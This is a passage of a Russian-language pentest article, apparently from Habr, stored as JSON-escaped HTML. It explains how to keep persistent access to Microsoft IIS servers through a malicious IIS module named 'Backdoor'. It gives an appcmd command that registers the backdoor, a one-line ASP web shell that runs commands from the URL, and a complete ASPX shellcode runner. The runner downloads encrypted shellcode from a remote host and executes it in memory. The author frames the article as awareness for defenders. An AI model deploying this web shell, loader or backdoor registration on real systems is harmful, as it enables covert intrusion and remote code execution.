\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0442\u043e\u043b\u044c \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 IIS \u043d\u0430\u0448 \u043c\u043e\u0434\u0443\u043b\u044c. \u0414\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439:<\/p>\n<pre><code class=\"cs\">C:\\Windows\\system32\\inetsrv\\appcmd.exe install module \/name:\"Backdoor\" \/image:C:\\Windows\\System32\\inetsrv\\Backdoor.dll \/add:true<\/code><\/pre>\n<p>\u041c\u043e\u0436\u043d\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u044d\u0442\u043e \u043a\u0430\u043a-\u0442\u043e \u043d\u0435 \u043f\u043e-\u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438.<\/p>\n<p>\u041f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0443\u0432\u0438\u0434\u0438\u043c \u0432 DebugView \u0441\u0442\u0440\u043e\u043a\u0443 <code>RegisterModule<\/code>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a99\/c74\/406\/a99c744063467ca40d3ae0b21e000a5e.png\" alt=\"\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u043a\u0434\u043e\u0440\u0430   \" title=\"\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u043a\u0434\u043e\u0440\u0430   \" width=\"1867\" height=\"654\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a99\/c74\/406\/a99c744063467ca40d3ae0b21e000a5e.png\"\/><\/p>\n<div><figcaption>\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u043a\u0434\u043e\u0440\u0430   <\/figcaption><\/div>\n<\/figure>\n<p>\u0415\u0441\u043b\u0438 \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u0439\u0434\u0451\u043c \u043d\u0430 IIS \u0438 \u0431\u0443\u0434\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0442\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u0435\u043c \u043b\u0438\u0448\u044c \u0432\u0438\u0434\u0435\u0442\u044c, \u043a\u0430\u043a \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0448\u0435 \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e \u043d\u0435 \u0431\u044b\u043b\u043e.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/694\/a9f\/fb2\/694a9ffb2671d505f4379a89817047c1.png\" alt=\"\u041e\u0431\u044b\u0447\u043d\u044b\u0439 IIS\" title=\"\u041e\u0431\u044b\u0447\u043d\u044b\u0439 IIS\" width=\"1514\" height=\"638\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/694\/a9f\/fb2\/694a9ffb2671d505f4379a89817047c1.png\"\/><\/p>\n<div><figcaption>\u041e\u0431\u044b\u0447\u043d\u044b\u0439 IIS<\/figcaption><\/div>\n<\/figure>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430\u0448 Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0432\u0438\u0434\u0438\u043c \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2a1\/c76\/1cd\/2a1c761cdfc5de6fc2c18c5333b097be.png\" alt=\"\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\" title=\"\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\" width=\"1154\" height=\"780\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2a1\/c76\/1cd\/2a1c761cdfc5de6fc2c18c5333b097be.png\"\/><\/p>\n<div><figcaption>\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b<\/figcaption><\/div>\n<\/figure>\n<p>Success!\u00a0<\/p>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p>\u041f\u043e\u0440\u043e\u0439 \u0432\u043f\u043e\u043b\u043d\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432. \u0415\u0441\u0442\u044c \u0435\u0449\u0451 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043a \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0435\u043a\u0442\u0443. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0431\u044b\u043b\u043e \u0431\u044b \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0432\u043e\u0434, \u043d\u043e \u0438 \u0432\u0432\u043e\u0434. \u0427\u0442\u043e\u0431\u044b \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 <code>X-Cmd-Command<\/code> \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 Base64. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043c\u044b \u043d\u0430\u0443\u0447\u0438\u043b\u0438\u0441\u044c. \u0417\u0430 \u0432\u0430\u043c\u0438 \u2014 \u043f\u0440\u0438\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u043e \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0438\u0437 Base64. \u0412\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0436\u0435 \u043b\u0435\u0436\u0430\u0442 \u0432 <code>base64.cpp<\/code>. \u0414\u0435\u0440\u0437\u0430\u0439\u0442\u0435 \ud83d\ude42<\/p>\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 <a href=\"https:\/\/github.com\/MzHmO\/articles\/tree\/main\/EvilIIS\">GitHub<\/a>.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/804789\/\"> https:\/\/habr.com\/ru\/articles\/804789\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412\u0441\u0435\u043c \u0434\u043e\u0431\u0440\u044b\u0439 \u0434\u0435\u043d\u044c! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u041c\u0438\u0445\u0430\u0438\u043b \u0416\u043c\u0430\u0439\u043b\u043e, \u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 CICADA8 \u0426\u0435\u043d\u0442\u0440\u0430 \u0438\u043d\u043d\u043e\u0432\u0430\u0446\u0438\u0439 \u041c\u0422\u0421.<\/p>\n<p>\u041d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f <a href=\"https:\/\/qna.habr.com\/q\/465956\">\u0438\u043d\u0441\u0442\u0430\u043d\u0441\u044b<\/a> Internet Information Services (IIS). \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u041d\u043e \u0437\u043d\u0430\u0435\u0442\u0435 \u043b\u0438 \u0432\u044b, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 IIS \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0435\u043a\u0434\u043e\u0440 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435?<\/p>\n<p>\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u043f\u043e\u043a\u0430\u0436\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Microsoft \u2014 Internet Information Services. \u041c\u044b \u043f\u043e\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443\u0435\u043c\u0441\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043d\u0430 C++, \u0438\u0437\u0443\u0447\u0438\u043c IIS Components \u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 IIS Module.<\/p>\n<p>\u0414\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c\u0441\u044f \u0441\u0440\u0430\u0437\u0443: \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u044d\u0442\u043e \u0432\u0441\u0451 \u043d\u0435 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u043f\u043e\u0448\u043b\u0438 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u0437\u043d\u0430\u043b\u0438, \u0433\u0434\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0435\u043a\u0434\u043e\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438. \u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0451\u043d \u2014 \u0437\u043d\u0430\u0447\u0438\u0442 \u0432\u043e\u043e\u0440\u0443\u0436\u0451\u043d.<\/p>\n<figure class=\"full-width\"><\/figure>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0412\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043e\u0447\u0435\u043d\u044c \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0437\u0430\u0441\u0442\u0430\u0432\u043a\u0443 IIS. \u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0438\u043c\u0435\u043b \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0412 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u0447\u0435\u0440 \u044f \u0437\u0430\u0434\u0430\u043b\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0410 \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 IIS?\u00bb.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u043a\u0430 IIS<\/figcaption><\/div>\n<\/figure>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, Windows \u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443: \u0445\u043e\u0447\u0435\u0448\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043b\u044e\u0431\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 Enterprise-\u0448\u0442\u0443\u043a\u0438? \u0414\u0430 \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043e\u0442 \u0442\u0435\u0431\u0435 \u043a\u0443\u0447\u0430 API! <\/p>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043c\u043e\u043d\u0441\u0442\u0440\u0430 \u0424\u0440\u0430\u043d\u043a\u0435\u043d\u0448\u0442\u0435\u0439\u043d\u0430, \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043e\u0431 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u0445 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u043d\u0430 IIS.<\/p>\n<h2>\u041a\u0430\u0437\u0438\u043d\u043e, \u0431\u043b\u044d\u043a\u0434\u0436\u0435\u043a \u0438 \u0448\u0435\u043b\u043b\u044b<\/h2>\n<p>\u0418\u0437\u0434\u0430\u0432\u043d\u0430 \u0441\u0430\u043c\u044b\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c <a href=\"https:\/\/attack.mitre.org\/tactics\/TA0003\/\">\u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0430<\/a> (\u0430 \u0432 \u043e\u0441\u043e\u0431\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430) \u0431\u044b\u043b\u0438 <a href=\"https:\/\/attack.mitre.org\/techniques\/T1505\/003\/\">\u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b<\/a>. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b, \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0433\u043e \u0432\u0435\u0441\u0430 \u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438\u0445 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0417\u0434\u0435\u0441\u044c \u0434\u0440\u0443\u0436\u043d\u043e \u0441\u043c\u0435\u0451\u043c\u0441\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0443, \u0442\u043e \u0438\u043c \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u044e\u0431\u043e\u0439 \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u0439. \u041d\u0435 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e, \u043f\u0440\u0430\u0432\u0434\u0430?<\/p>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438. \u0412\u043e\u0437\u044c\u043c\u0451\u043c <a href=\"https:\/\/github.com\/tennc\/webshell\/blob\/master\/fuzzdb-webshell\/asp\/cmdasp.aspx\">\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b .aspx<\/a>. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0432 <code>C:\\inetpub\\wwwroot<\/code>, \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u043f\u0440\u0430\u0432\u0430 \u0447\u0435\u0440\u0435\u0437 icacls, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0410\u0431\u0440\u0430\u043a\u0430\u0434\u0430\u0431\u0440\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u042f \u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c \u0432\u044b\u0441\u043e\u043a\u0438\u0435, \u043d\u043e \u0437\u043d\u0430\u043d\u0438\u044f \u044d\u043b\u044c\u0444\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u043b.<\/p>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0435\u0441\u0442\u044c \u0438 \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b.<\/p>\n<pre><code class=\"cs\">&lt;%response.write CreateObject(\"WScript.Shell\").Exec(Request.QueryString(\"cmd\")).StdOut.Readall()%><\/code><\/pre>\n<p>\u0420\u043e\u0432\u043d\u043e \u043a\u0430\u043a \u0438 \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0433\u0440\u043e\u043c\u043e\u0437\u0434\u043a\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ASPX \u0448\u0435\u043b\u043b\u043a\u043e\u0434-\u0440\u0430\u043d\u043d\u0435\u0440 \u0441 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430 \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u043e\u0439 AES. <\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u0430\u043a \u0442\u0435\u0431\u0435 \u0442\u0430\u043a\u043e\u0435, \u0418\u043b\u043e\u043d \u041c\u0430\u0441\u043a?<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cs\">&lt;%@ Page Language=\"C#\" AutoEventWireup=\"true\" %> &lt;%@ Import Namespace=\"System.IO\" %> &lt;%@ Import Namespace=\"System.Security.Cryptography\" %> &lt;%@ Import Namespace=\"System.Net\" %> &lt;%@ Import Namespace=\"System.Linq\" %>  &lt;script runat=\"server\">  [System.Runtime.InteropServices.DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);  [System.Runtime.InteropServices.DllImport(\"kernel32\")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);  [System.Runtime.InteropServices.DllImport(\"kernel32.dll\", SetLastError = true, ExactSpelling = true)] private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);  [   System.Runtime.InteropServices.DllImport(\"kernel32.dll\")] private static extern IntPtr GetCurrentProcess();  private byte[] Decrypt(byte[] data, byte[] key, byte[] iv) {     using (var aes = Aes.Create())     {         aes.KeySize = 256;         aes.BlockSize = 128;          \/\/ Keep this in mind when you view your decrypted content as the size will likely be different.         aes.Padding = PaddingMode.Zeros;          aes.Key = key;         aes.IV = iv;          using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))         {             return PerformCryptography(data, decryptor);         }     } }  private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) {     using (var ms = new MemoryStream())     using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))     {         cryptoStream.Write(data, 0, data.Length);         cryptoStream.FlushFinalBlock();         return ms.ToArray();     } }  private byte[] GetArray(string url) {     using (WebClient webClient = new WebClient())     {         string content = webClient.DownloadString(url);         byte[] byteArray = content.Split(',')         .Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))         .ToArray();         return byteArray;     } }  private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;  protected void Page_Load(object sender, EventArgs e) {     IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);     if(mem == null)     {         return;     }      \/\/ Encrypted shellcode     byte[] Enc = GetArray(\"http:\/\/192.168.x.x\/enc.txt\");      \/\/ Key     byte[] Key = GetArray(\"http:\/\/192.168.x.x\/key.txt\");      \/\/ IV     byte[] Iv = GetArray(\"http:\/\/192.168.x.x\/iv.txt\");      \/\/ Decrypt our shellcode     byte[] e4qRS= Decrypt(Enc, Key, Iv);      \/\/ Allocate our memory buffer     IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);          \/\/ Copy our decrypted shellcode ito the buffer     System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);      \/\/ Create a thread that contains our buffer     IntPtr aj5QpPE = IntPtr.Zero;     IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE); } &lt;\/script> &lt;!DOCTYPE html> &lt;html> &lt;body> &lt;p>Check your listener...&lt;\/p> &lt;\/body> 